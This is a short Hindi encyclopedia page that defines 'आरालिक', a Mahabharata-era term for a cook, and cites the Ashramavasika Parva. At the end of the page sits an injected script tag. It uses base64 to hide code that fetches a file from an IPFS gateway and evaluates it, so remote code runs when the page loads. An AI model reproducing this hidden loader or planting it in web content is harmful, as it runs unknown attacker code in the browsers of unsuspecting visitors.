आरालिक

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 06:14, 16 अगस्त 2017 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

आरालिक महाभारत काल में भोजन तैयार करने वाले रसोईये को कहा जाता था।

  • महाभारत आश्रमवासिक पर्व में आरालिक का उल्लेख मिलता है।
  • 'अरा' नामक शस्त्र से काटकर बनाये जाने के कारण साग-भाजी आदि को ‘अरालू’ कहते हैं। उसको सुन्दर रीति से तैयार करने वाले रसोईये 'आरालिक' कहलाते हैं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. महाभारत आश्रमवासिक पर्व अध्याय 1 श्लोक 19-27

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>